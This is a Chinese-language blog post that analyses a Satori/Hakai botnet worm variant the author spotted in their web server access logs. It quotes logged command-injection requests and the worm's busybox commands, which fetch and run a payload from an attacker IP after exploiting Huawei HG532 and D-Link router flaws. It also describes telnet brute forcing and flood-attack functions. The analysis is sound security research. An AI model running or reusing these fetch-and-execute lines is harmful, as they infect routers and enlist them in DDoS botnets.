Satori不愿消退,僵尸网络永不消亡

前言

近日,在博客的访问日志上发现一些略显奇特的访问记录,看起来像是远程命令执行,在好奇心(没事干)的驱使下深究下去,然后终于——揭开了,嗯,蠕虫传播的冰山一角。。。
(本文标题为360 netlab发表的一篇蠕虫分析文章标题的意译)

访问记录

笔者喜欢有事没事翻一下博客的访问记录,一来看看除了爬虫还有谁会看我的文章,二来观察爬虫、扫描器以及各种各样的payload的特征,寻找其有意思的地方,说不定以后还能当做自己扫描器的Fuzz路径或者按照思路做一个蜜罐啥的。
前几天随便扫一眼日志时,发现了类似命令执行的访问记录

1
2
3
4
156.211.122.123 - - [04/Aug/2018:21:50:41 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"
41.45.142.236 - - [04/Aug/2018:23:07:02 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"
156.219.34.60 - - [06/Aug/2018:01:42:11 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"
197.43.118.238 - - [06/Aug/2018:02:10:07 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://46.166.185.42/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 173 "-" "Hakai/2.0"

看起来就像是带着payload访问一下就能直接下载文件并执行。
访问http://46.166.185.42/e

16-09-00.jpg

嗯,赤裸裸的命令执行
分别把文件下载下来执行再删除,很熟练的操作
很”庆幸“的是,我还能把文件下载下来,之前找过几个类似的,没一个能活到能下载给我分析的,这次只有hakai.arm5404
其余三个文件都是elf文件:hakai.mipshakai.mpslhakai.x86_64
我分析了其中一个——hakai.x86_64,毕竟从蠕虫作者的角度来想,每个文件的功能都一样是差不多的,只是运行在不同的平台,这样一来就能减少开发以及管理成本,所以分析一个就差不多了

逆向分析

打开IDA,静态分析一下。很庆幸并没有加壳混淆,对本菜十分友好。
其中出现的一些payload字符串拿去google一下,发现在今年6月份的时候,360 netlab已经发布了一篇文章——Botnets never Die, Satori REFUSES to Fade Away,经过分析,我拿到的样本从加密方式以及行为来看应该是Satori蠕虫的变种,所以本文也应用了这篇文章标题的意译作为标题。
先来看一下主函数:
15-01-30.jpg
大概可以看出该蠕虫有以下功能

  • 修改进程名为sshd/usr/sbin/dropbear进行隐藏
  • 针对华为、dlink设备特定漏洞进行传播
  • 针对23、2323端口Telnet服务进行密码爆破攻击
  • 疑似设备操作方式实现持续化控制(wacthdog)
  • 实现远控。从主机接受特定格式的指令,实现自定义HTTP包发送、TCP Flood、UDP Flood以及Std Flood
    其中还有一些加密字符串
20-21-47.jpg

加/解密算法均为deobf()
20-23-09.jpg
看起来是简单的置换密码
直接在源文件上patch一段解密汇编得到每个索引对应的密文(中间有些索引没用,所以索引不连续)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1. gosh that chinese family at the other table sure ate alot
2. hakaiboatnet.pw
3. /proc/
4. /exe
6. /fd
7. /maps
8. /proc/net/tcp
9. 1gcab4dom35hnp2lei0jkf
10. UPX!
11. dvrHelper
15. /dev/watchdog
16. /dev/misc/watchdog
17. shell
18. enable
19. system
20. /bin/busybox REKAI
21. sh
22. REKAI: applet not found
23. ncorrect
26. /bin/busybox ps
27. /bin/busybox kill -9/

emmm,其他都能理解,这第一个加密的吐槽是跟国人有仇咩
20-41-13.jpg
嗯,蠕虫作者应该是个外国人,而且极有可能在餐厅写蠕虫的时候旁边桌的国人放了个屁~

端口爆破

先看看各个部分的功能与流程
蠕虫作者首先对爆破的账号密码进行了加密,然后解密加进账号密码内存池待用
11-18-55.jpg然后进行23以及2323端口进行端口开发探测,并加进连接记录表

11-51-40.jpg

然后根据返回信息的解析进行账号密码的爆破
11-54-46.jpg
最后起shell
18-47-53.jpg
嗯,终于明白为什么之前我的22端口一直被爆破,每次登上去都有几千个错误尝试的记录
恐怕都是这些僵尸网络干的
不过后面我尝试把登录端口换成一个四位数的端口,从此世界都清净了
有强迫症的读者可以一试

huawei_scanner

这个部分主要是针对华为路由器漏洞CVE-2017-17215的进行利用然后传播。
漏洞原理可以看Seebug Paper - Huawei HG532 系列路由器远程命令执行漏洞分析
利用姿势可以参考玄武实验室 - 对华为HG532远程命令执行漏洞的新探索
Satori用的是这个payload

19-00-32.jpg

嗯,看起来是XXE
同理首先构造了一个TCP包发出去
18-50-59.jpg
接收数据包并判断是否是是37215漏洞端口发出的SYN-ACK
随之TCP握手
19-07-15.jpg
开始发palyload

19-10-45.jpg

无非是想执行这一段命令:

1
2
3
/bin/busybox wget -g 46.166.185.42 -l /tmp/hakai -r /hakai.huawei
/bin/busybox chmod 777 * /tmp/hakai; /tmp/hakai huawei
echo HUAWEIUPNP

就这样,这样蠕虫传播完成
不过一般情况下WAN口访问37215端口是被过滤的,所以还是有一些局限性的

dlink_scanner利用的是D-Link DSL-2750B上的远程命令执行漏洞
简单一个参数就能远程执行命令
payload如下
19-19-03.jpg
扫描的步骤和上面提到的大同小异,都是先探测记录后发送payload,然后再执行命令,下载远程恶意文件执行
在此不再赘述

远控功能

执行完扫描传播之后,蠕虫会有一个while(1)循环一直接受来自主机的指令以解析执行
其中可执行的有四个功能:

  1. HTTPHEX
    自定义发送HTTP请求
    支持GETPOSTHEAD三种方式,以及随机以下几个UA:20-52-08.jpg
  2. UDP Flood DOS攻击指定目标
  3. TCP Flood DOS攻击指定目标
  4. Std Flood DOS攻击指定目标
    不明所以的Std Flood功能,看起来只是UDP Flood,并没有UDP Flood 部分代码那么复杂

写在最后

根据tachyonsystems.de的蜜罐攻击记录来看,Satori蠕虫在过去几天活动极为频繁,甚至已经跃升第一

01-28-19.jpg

并且在本菜写文章这两天,蠕虫主机IP的蠕虫程序已经经历了代码变种->加入混淆->无法访问(或者跑路)三个阶段,可谓瞬息万变。
安全之路,仍任重道远。



----- 感谢阅读 -----